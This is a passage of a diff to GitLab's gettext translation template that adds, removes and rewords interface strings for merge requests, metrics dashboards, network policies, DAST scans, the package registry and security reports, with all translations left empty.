-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
